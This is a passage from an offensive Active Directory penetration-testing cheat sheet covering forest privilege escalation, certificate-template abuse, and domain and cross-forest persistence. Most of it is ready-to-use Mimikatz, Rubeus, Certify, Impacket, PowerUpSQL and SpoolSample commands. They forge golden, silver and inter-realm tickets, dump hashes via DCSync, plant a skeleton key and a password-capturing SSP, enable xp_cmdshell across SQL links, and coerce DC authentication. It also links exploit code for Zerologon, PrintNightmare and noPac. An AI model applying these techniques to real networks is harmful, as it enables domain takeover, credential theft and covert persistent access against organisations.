forest and SID filtering is not enabled (often the case), abuse the SID History field on a Kerberos TGT to escalate to Domain Administrator of the forest root. 915 916 ```powershell 917 # Get the SID of the current domain (PowerView) 918 Get-DomainSID -Domain current.root.domain.local 919 920 # Get the SID of the root domain (PowerView) 921 Get-DomainSID -Domain root.domain.local 922 923 # Enterprise Admins SID format: RootDomainSID-519 924 925 # Forge an "extra" golden ticket (mimikatz) 926 kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi 927 928 # Inject the ticket 929 kerberos::ptt \path\to\ticket\golden.kirbi 930 931 # List the DC of the root domain 932 dir \\dc.root.domain.local\C$ 933 934 # Or DCSync and dump the hashes 935 lsadump::dcsync /domain:root.domain.local /all 936 ``` 937 938 ### Exploiting SharePoint 939 940 - CVE-2019-0604 — RCE (PoC: https://github.com/k8gege/CVE-2019-0604) 941 - CVE-2019-1257 — code execution via BDC deserialization 942 - CVE-2020-0932 — RCE using typeconverters (PoC: thezdi/PoC) 943 944 ### Zerologon 945 946 - Zerologon whitepaper (Secura) — unauthenticated domain controller compromise 947 - SharpZeroLogon — C# implementation 948 - Invoke-ZeroLogon — PowerShell implementation 949 - zer0dump — Python (Impacket) implementation 950 951 ### PrintNightmare 952 953 - CVE-2021-34527 — vulnerability details 954 - Impacket implementation — https://github.com/cube0x0/CVE-2021-1675 955 - SharpPrintNightmare — C# implementation 956 957 ### Active Directory Certificate Services 958 959 Check for vulnerable certificate templates with Certify (can run via Cobalt Strike `execute-assembly`): 960 961 ```powershell 962 .\Certify.exe find /vulnerable /quiet 963 ``` 964 965 Confirm `msPKI-Certificate-Name-Flag` is `ENROLLEE_SUPPLIES_SUBJECT`, enrollment rights allow Domain/Authenticated Users, `pkiextendedkeyusage` includes Client Authentication, and "Authorized Signatures Required" is 0. These enable an attacker to specify a Domain Admin UPN and forge authentication with the captured certificate. (If the DA is in Protected Users, the exploit may not work — check first.) 966 967 Request the DA's account certificate with Certify: 968 969 ```powershell 970 .\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine 971 ``` 972 973 Consolidate the exported `cert.pem` and `cert.key` into a single `cert.pem`, with one blank line between `END RSA PRIVATE KEY` and `BEGIN CERTIFICATE`: 974 975 ```text 976 -----BEGIN RSA PRIVATE KEY----- 977 BIIEogIBAAk15x0ID[...] 978 -----END RSA PRIVATE KEY----- 979 980 -----BEGIN CERTIFICATE----- 981 BIIEogIBOmgAwIbSe[...] 982 -----END CERTIFICATE----- 983 ``` 984 985 Convert to PKCS#12 with OpenSSL (export password can be anything): 986 987 ```bash 988 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 989 ``` 990 991 Upload `cert.pfx` to the compromised host, then use Rubeus to request a TGT for the DA account and import it into memory: 992 993 ```powershell 994 .\Rubeus.exe asktgt /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt 995 ``` 996 997 This enables activities under the DA context, such as a DCSync. (See also the modern Certipy-based ADCS/ESC workflow.) 998 999 ### No PAC (CVE-2021-42278 / CVE-2021-42287) 1000 1001 - sAMAccountName spoofing — thehacker.recipes 1002 - Weaponisation writeup — exploit.ph 1003 - noPac — https://github.com/cube0x0/noPac 1004 - sam-the-admin — Python automation 1005 - noPac (Ridter) — evolution of sam-the-admin 1006 1007 ## Domain Persistence 1008 1009 ### Golden Ticket Attack 1010 1011 ```powershell 1012 # Grab the krbtgt hash on the DC as DA 1013 Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName> 1014 1015 # On any machine 1016 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain SID> /krbtgt:<HashOfkrbtgtAccount> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' 1017 ``` 1018 1019 ### DCSync Attack 1020 1021 ```powershell 1022 # DCSync via mimikatz (needs DA or DS-Replication-Get-Changes[-All]) 1023 Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"' 1024 ``` 1025 1026 ```bash 1027 # DCSync via Impacket secretsdump (NTLM auth) 1028 impacket-secretsdump <Domain>/<Username>:<Password>@<DC IP or FQDN> -just-dc-ntlm 1029 1030 # DCSync via Impacket secretsdump (Kerberos auth) 1031 impacket-secretsdump -no-pass -k <Domain>/<Username>@<DC IP or FQDN> -just-dc-ntlm 1032 ``` 1033 1034 > **Tip —** `/ptt` injects the ticket into the current session; `/ticket` saves it to disk for later use. 1035 1036 ### Silver Ticket Attack 1037 1038 ```powershell 1039 Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TargetMachine> /service:<ServiceType> /rc4:<SPN Account NTLM Hash> /user:<UserToImpersonate> /ptt"' 1040 ``` 1041 1042 SPN list reference: adsecurity.org. 1043 1044 ### Skeleton Key Attack 1045 1046 ```powershell 1047 # Run as DA 1048 Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC FQDN> 1049 1050 # Access using the password "mimikatz" 1051 Enter-PSSession -ComputerName <AnyMachine> -Credential <Domain>\Administrator 1052 ``` 1053 1054 ### DSRM Abuse 1055 1056 Every DC has a local Administrator with the DSRM (SafeBackup) password. Dump and PTH its NTLM hash for local Administrator access to the DC. 1057 1058 ```powershell 1059 # Dump DSRM password (needs DA) 1060 Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC'sName> 1061 1062 # Alter DSRM logon behaviour before PTH — connect to the DC 1063 Enter-PSSession -ComputerName <DC'sName> 1064 1065 # Set the logon behaviour in the registry 1066 New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose 1067 1068 # If the property already exists 1069 Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose 1070 ``` 1071 1072 Then PTH for local admin access on the DC. 1073 1074 ### Custom SSP 1075 1076 Drop a custom SSP (e.g. mimilib.dll) to capture plaintext passwords of users who log on. 1077 1078 ```powershell 1079 # Get current Security Package 1080 $packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages' 1081 1082 # Append mimilib 1083 $packages += "mimilib" 1084 1085 # Set the new packages 1086 Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages 1087 Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages 1088 1089 # ALTERNATIVE 1090 Invoke-Mimikatz -Command '"misc::memssp"' 1091 ``` 1092 1093 DC logons are logged to `C:\Windows\System32\kiwissp.log`. 1094 1095 ## Cross-Forest Attacks 1096 1097 ### Trust Tickets 1098 1099 With Domain Admin rights on a domain that has a bidirectional trust with another forest, get the trust key and forge an inter-realm TGT. Access is limited to what your DA account is configured for on the other forest. 1100 1101 - Using Mimikatz: 1102 1103 ```powershell 1104 # Dump the trust key 1105 Invoke-Mimikatz -Command '"lsadump::trust /patch"' 1106 Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 1107 1108 # Forge an inter-realm TGT (golden ticket) 1109 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TargetDomain> /ticket:<PathToSaveTicket>"' 1110 ``` 1111 1112 Tickets are `.kirbi` format. Then ask for a TGS to the external forest for any service using the inter-realm TGT. 1113 1114 - Using Rubeus: 1115 1116 ```powershell 1117 .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service SPN" /ptt 1118 ``` 1119 1120 ### Abuse MSSQL Servers 1121 1122 - Enumerate MSSQL instances: `Get-SQLInstanceDomain` 1123 - Check accessibility as current user: 1124 1125 ```powershell 1126 Get-SQLConnectionTestThreaded 1127 Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose 1128 ``` 1129 1130 - Gather instance info: `Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose` 1131 - Abuse SQL database links (a database link lets one SQL Server access another; stored procedures execute across the link — even across forest trusts): 1132 1133 ```powershell 1134 # Check for existing database links (PowerUpSQL) 1135 Get-SQLServerLink -Instance <SPN> -Verbose 1136 1137 # MSSQL query 1138 select * from master..sysservers 1139 ``` 1140 1141 Enumerate other links from the linked database: 1142 1143 ```sql 1144 -- Manually 1145 select * from openquery("LinkedDatabase", 'select * from master..sysservers') 1146 ``` 1147 1148 ```powershell 1149 # PowerUpSQL — enumerate every link across forests/child domains 1150 Get-SQLServerLinkCrawl -Instance <SPN> -Verbose 1151 ``` 1152 1153 ```sql 1154 -- Enable RPC Out (required to execute xp_cmdshell) 1155 EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true'; 1156 EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true'; 1157 select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';'); 1158 select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';'); 1159 1160 -- Enable xp_cmdshell if disabled, then execute 1161 EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN" 1162 ``` 1163 1164 Query execution: 1165 1166 ```powershell 1167 Get-SQLServerLinkCrawl -Instance <SPN> -Query "exec master..xp_cmdshell 'whoami'" 1168 ``` 1169 1170 ### Breaking Forest Trusts 1171 1172 With a bidirectional trust to an external forest, compromise a machine in the local forest that has unconstrained delegation (DCs do by default). Use the printer bug to coerce the external forest root DC to authenticate to you, capture its TGT, inject it, and DCSync the whole forest. 1173 1174 ```powershell 1175 # Start monitoring for TGTs with rubeus 1176 Rubeus.exe monitor /interval:5 /filteruser:target-dc 1177 1178 # Trigger forced authentication of the target DC (printer bug) 1179 SpoolSample.exe target-dc.external.forest.local dc.compromised.domain.local 1180 1181 # Inject the base64 captured TGT 1182 Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> 1183 1184 # Dump the hashes of the target domain 1185 lsadump::dcsync /domain:external.forest.local /all 1186 ``` 1187 1188 Detailed reading: harmj0y "Not A Security Boundary: Breaking Forest Trusts"; SpecterOps "Hunting in Active Directory: Unconstrained Delegation & Forests Trusts".